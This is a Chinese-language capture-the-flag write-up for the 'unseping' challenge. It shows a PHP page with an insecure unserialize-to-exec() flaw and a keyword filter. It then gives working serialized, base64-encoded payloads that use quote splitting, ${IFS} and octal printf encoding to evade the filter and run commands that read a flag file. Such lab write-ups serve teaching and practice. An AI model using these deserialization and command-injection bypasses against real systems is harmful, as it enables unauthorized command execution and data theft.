攻防世界unseping
- ctf
- 2023-08-25
- 1464热度
- 0评论
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。
先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了| & ; 空格 / cat flag tac php ls。
再看__destruct方法,该方法检测ping是否在$method中,并调用了名为$method的方法,且以数组$arg中的值作为参数。
接着看ping方法,该方法的结构为将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。
综合来看就是在通过$method和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l''s";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==

查看flag_1s_here文件夹
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$s = serialize($o);
echo base64_encode($s);
?>
由于flag被过滤,所以又要用引号绕过。同时空格也是被过滤了的,此处用IFS变量进行绕过。将$arg的值改为索要执行的命令l''s${IFS}f''lag_1s_here:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

查看flag_831b69012c67b35f.php
flag,cat,flag,php都可以用双引号绕过,空格用${IFS}绕过,/要用printf及$()绕过
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
直接对整个要执行的命令用printf及$()绕过,flag_1s_here/flag_831b69012c67b35f.php的八进制或十六进制编码都可以。
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

